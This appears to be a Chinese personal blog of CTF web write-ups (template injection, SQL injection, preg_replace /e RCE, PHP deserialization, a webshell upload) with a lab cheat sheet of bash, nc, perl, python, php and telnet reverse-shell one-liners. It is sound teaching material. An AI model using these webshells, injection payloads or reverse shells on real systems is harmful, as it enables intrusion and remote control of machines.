0%

[SUCTF 2019]CheckIn

buu这个题应该是环境有问题,不能复现wp

先上传user.ini

1
2
GIF89a
auto_propend_file=1.gif

然后上传图片马

1
2
GIF89a
<script language="php">eval($_POST[cmd]);</script>

访问路径下的index.php,让它自动加载马

蚁剑或者直接cat flag

一会儿在本地测试一下

[HCTF 2018]admin

md5的一些基操

[护网杯 2018]easy_tornado

模板注入

先看提示,发现hints和/fllllllllllllag,根据url猜测是任意文件读取,研究后面参数,看hints,发现render,研究研究啥玩意

render是一个类似模板的东西,可以使用不同的参数来访问网页

在tornado模板中,存在一些可以访问的快速对象,例如 {{handler.settings}}

这两个{{}}和这个字典对象也许大家就看出来了,没错就是这个handler.settings对象
handler 指向RequestHandler

而RequestHandler.settings又指向self.application.settings

所有handler.settings就指向RequestHandler.application.settings

可以获得一些设置

然后成功获得cookie_secret,md5获得hash值即可

在msg页面可以实现模板注入

web

sql2

环境有点问题,复现一半出不来了

1
2
3
4
5
6
7
8
9
查库名
username=admin&passwd=1%27union/**/select/**/group_concat(db),2/**/from/**/sys.schema_object_overview#

查表名

username=admin&passwd=admin'/**/union/**/select/**/group_concat(table_name),2/**/from/**/sys.schema_table_statistics/**/where/**/table_schema='flagisHere'#

无列名注入
username=admin&passwd=admin'/**/union/**/select/**/(select/**/group_concat(a)/**/from/**/(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/flagisHere.flAg

web6

按照wp的反弹shell没打通

web7

这个题学到的挺多的

先通过任意文件读取漏洞获得密钥和密文

1
2
./config/config.xml
./security/SerializedSystemIni.dat

然后用这个https://github.com/TideSec/Decrypt_Weblogic_Password文章中提到的,获得密码,登入后台,部署木马。

war木马,就是将jsp木马压缩成zip,然后改后缀就行,这里把war部署到服务器上。

访问大马文件http://host/test/JspSpy.jsp

找到个flag.tar,结果我解压的时候给破坏了,现在服务器里没flag了,它这个是所有人一个环境,后面复现的人得多少有点懵逼,所以:

我在根目录里面创建了个假的flag(哈哈哈,逃

前言

震惊!平平无奇的web手,竟然把crypto ak了,顺带做了2个re和几个misc。。。

校赛感觉难度一般,就是给入门的做了,暑假学的好多都用上了,感觉不错。不过持续时间太长了,直接7天,而且国庆那几天贼忙,部门、工作室、新生······时间不是很合理,最后几天直接摆烂了,一个题也没做。

阅读全文 »

[BJDCTF2020]ZJCTF,不过如此

代码审计 文件包含

先利用data数据流,或者php://input绕过第一个,再利用php://filter读取next.php源码

这个有个坑,老忘,include php文件时,要用

file=php://filter/read=convert.base64-encode/resource=next.php

尽心base64编码,否则传不过来。

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return


}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

我们先看一下preg_replace用法

preg_replace( mixed $pattern, mixed $replacement, mixed $subject[, int $limit = -1[, int &$count]] ) : mixed

搜索subject中匹配pattern的部分,以replacement进行替换。

这里又看了看php语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
foreach 循环用于遍历数组。

foreach ($array as $value)
{
要执行代码;
}
每进行一次循环,当前数组元素的值就会被赋值给 $value 变量(数组指针会逐一地移动),在进行下一次循环时,您将看到数组中的下一个值。


foreach ($array as $key => $value)
{
要执行代码;
}
每一次循环,当前数组元素的键与值就都会被赋值给 $key$value 变量(数字指针会逐一地移动),在进行下一次循环时,你将看到数组中的下一个键与值。


<?php
$x=array(1=>"Google", 2=>"Runoob", 3=>"Taobao");
foreach ($x as $key => $value)
{
echo "key 为 " . $key . ",对应的 value 为 ". $value . PHP_EOL;
}
?>

key 为 1,对应的 value 为 Google
key 为 2,对应的 value 为 Runoob
key 为 3,对应的 value 为 Taobao

就差不多了,直接构造payload

?\S*=${getFlag()}&cmd=system('cat /flag');

这里还利用了preg_replace /e 模式下的代码执行问题,\S*会匹配到getFlag这个函数

preg_replace('/(\S*)/ei','strtolower("\\1")',${getFlag()});

preg_replace 函数在匹配到符号正则的字符串时,会将第二个参数当做代码来执行,即 ‘strtolower(“\1”)’

这里的\1就相当于是第一个匹配项,由于\S()包裹这里有个反向引用,\S匹配的第一个表达式就是${getFlag()},对其进行代码执行,进而利用这个函数的eval

还可以直接利用这个漏洞命令执行而不用eval

?\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}

拼接的

[BJDCTF2020]The mystery of ip

php模板注入

php存在模板注入漏洞,不仅python有,php也有

该题是通过xff的方式获取的本机ip,在这里测试是否有模板注入,测试49,能执行说明存在,然后cat /flag就行,本来打算反弹个shell玩玩呢,结果一个都不能用。

[网鼎杯 2020 朱雀组]phpweb

反序列化绕过

这题本来也想反弹个shell,也是弹了半天没谈过来。。

直接cat flag也没有,只能find命令了

先抓包,怀疑可能有call_user_func,随便试了几个都被过滤了,file_get_contents没被禁,获取index.php源码,代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); # 过滤了很多函数,剩了个file_get_contents没被禁
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
# 可以利用反序列化漏洞
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

写出exp

1
2
3
4
5
6
7
8
9
10
<?php
class Test {
var $p = "find / -name flag*"; # 第一部
var $p = "cat /tmp/flagoefiu4r93"; # 第二部
var $func = "system";
}

$a=new Test();
echo serialize($a);
?>

得到pyload:

func=file_get_contents&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

准备

靶机为一台ubuntu,测试机为kali,两者位于同一网段内

原理

文件描述符

当Linux启动的时候会默认打开三个文件描述符,分别是:

  • 标准输入standard input 0 (默认设备键盘)
  • 标准输出standard output 1(默认设备显示器)
  • 错误输出:error output 2(默认设备显示器)

文件所有输入输出都是由该进程所有打开的文件描述符控制的。(Linux一切皆文件,就连键盘显示器设备都是文件,因此他们的输入输出也是由文件描述符控制)

一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。

重定向

  • 输入重定向 < <<
  • 输出重定向 > >>
  1. bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向,然后在把重定向去掉,执行指令

  2. 如果指令中存在多个重定向,那么不要随便改变顺序,因为重定向是从左向右解析的,改变顺序可能会带来完全不同的结果(这一点我们后面会展示)

  3. < 是对标准输入 0 重定向 ,> 是对标准输出 1 重定向

  4. 重定向就是针对文件描述符的操作

1
2
3
4
5
6
7
8
#输入重定向:
[n]< [file] #n为文件描述符 默认为0

#输出重定向:
[n]> [file] #默认为1

#标准输出与标准错误输出重定向:
&> [file] >& [file] 等价于 > [file] 2>&1

测试

bash

靶机

bash -i >& /dev/tcp/192.168.217.128/7000 0>&1

-i 打开一个可交互的shell,>& 将混合输出重定向到文件(这里的&是混合输出包括标准和错误的意思),0>&1 将标准输入重定向到文件(与前者不同,这里的 & 是为了区分文件描述符和数字名的文件),其中 /dev/tcp/192.168.217.128/7000 就相当于是一个文件

kali

nc -lvp 7000

nc监听7000端口

exec

exec 5<>/dev/tcp/192.168.217.128/7000;cat <&5|while read line;do $line >&5 2>&1;done

nc

nc -e /bin/sh 192.168.217.128 7000

perl

perl -e 'use Socket;$i="192.168.217.128";$p=7000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.217.128",7000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

php -r '$sock=fsockopen("192.168.217.128",7000);exec("/bin/sh -i <&3 >&3 2>&3");'

telnet

mknod backpipe p && telnet 192.168.217.128 7000 0<backpipe | /bin/bash 1>backpipe

参考

https://xz.aliyun.com/t/2548

https://www.cnblogs.com/iouwenbo/p/11277453.html

https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html

受某种神秘力量的影响,从昨天早上开始,服务器cpu一直爆红,刚排除了一下是git的问题,重启也没用

kill掉git的进程后,只要我重新push,cpu又会重新拉到100,原因我也不清楚,导致博客无法推送到服务器,现在已启用github上的备用博客,已将域名https://haorical.xyz解析到位于github上的博客地址https://haorical.github.io,可能会造成访问速度变慢等问题。

服务器问题明天我再研究一下,现在服务器已经停了,包括运行的其他网站以及api接口暂时全部无法使用,我会尽快恢复。

哎!马老师,发生什么事了?

[CISCN2019 华北赛区 Day2 Web1]Hack World

先贴一篇文章,讲的比较好,关于mysql注入的

https://www.anquanke.com/post/id/85936

这个题呢,最终就是直接跑脚本

测试1,2会返回两个语句,测试2-1返回1的语句,是数字型注入,然后union发现有waf,fuzz获取过滤的字段,这里学会了怎么用bp进行fuzz,以及fuzzdb这个仓库

正确的方法是先利用if语句,实现布尔注入。利用括号来绕过空格的过滤。经过测试,用TAB或者%09%0a%0d之类这样的绕过方式也可以成功绕过空格。

sql的三目运算

if( 表达式1,表达式2,表达式3)

如果表达式1是正确的,那么执行表达式2,否则执行表达式3

或者异或注入

0^(ascii(substr((select(flag)from(flag)),1,1))>1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

url = 'http://4cf19355-75e2-47ba-b522-4ed93121403f.node4.buuoj.cn:81/index.php'

data = {
'id': '2'
}


headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0',
'Origin': 'http://4cf19355-75e2-47ba-b522-4ed93121403f.node4.buuoj.cn:81',
'Referer': 'http://4cf19355-75e2-47ba-b522-4ed93121403f.node4.buuoj.cn:81/index.php'
}

r = requests.session()
flag = ''
for i in range(1, 50):
for j in '-{abcdefghijklmnopqrstuvwxyz0123456789}':
sqls = f"if(ascii(substr((select(flag)from(flag)),{i},1))=ascii('{j}'),1,2)"
data = {
'id': sqls
}
res = r.post(url=url, data=data, headers=headers)
if 'Hello' in res.text:
flag += j
print(flag)
break

看到https://blog.csdn.net/rfrder/article/details/109263584这个大佬想到了stripos的漏洞

这时候想到stripos函数的一个漏洞。如果没有找到的话返回的是false,如果找到了但是是在字符串的首位,返回的是0。如果后端用了弱类型比较的话,0==false,这样后面就可以使用被过滤的某一个字符串了

进行尝试,

首先id=1union:

SQL Injection Checked.

再试试id=union1union:

bool(false)

如果这个题目把括号,tab,以及各种可以充当空格的都给过滤了的话,就用这种方法来绕过空格的过滤。

不过不知道为啥,每次跑出的flag都不一样,呃呃呃,然后都不能过。。。

1
2
3
4
flag{d9a6fbce43f97d2164f1b3e}
flag{d95e7a6fc1e43f7d164f414b}
flag{d9e7a6fc1e43f7d214f41b3e}
flag{d956fce443f9f57d14f414b}

原来是’-‘被过滤了,测试到-的时候会返回sql注入

服务器出了点小意外,不能push了,cpu给爆了,不知道为啥。。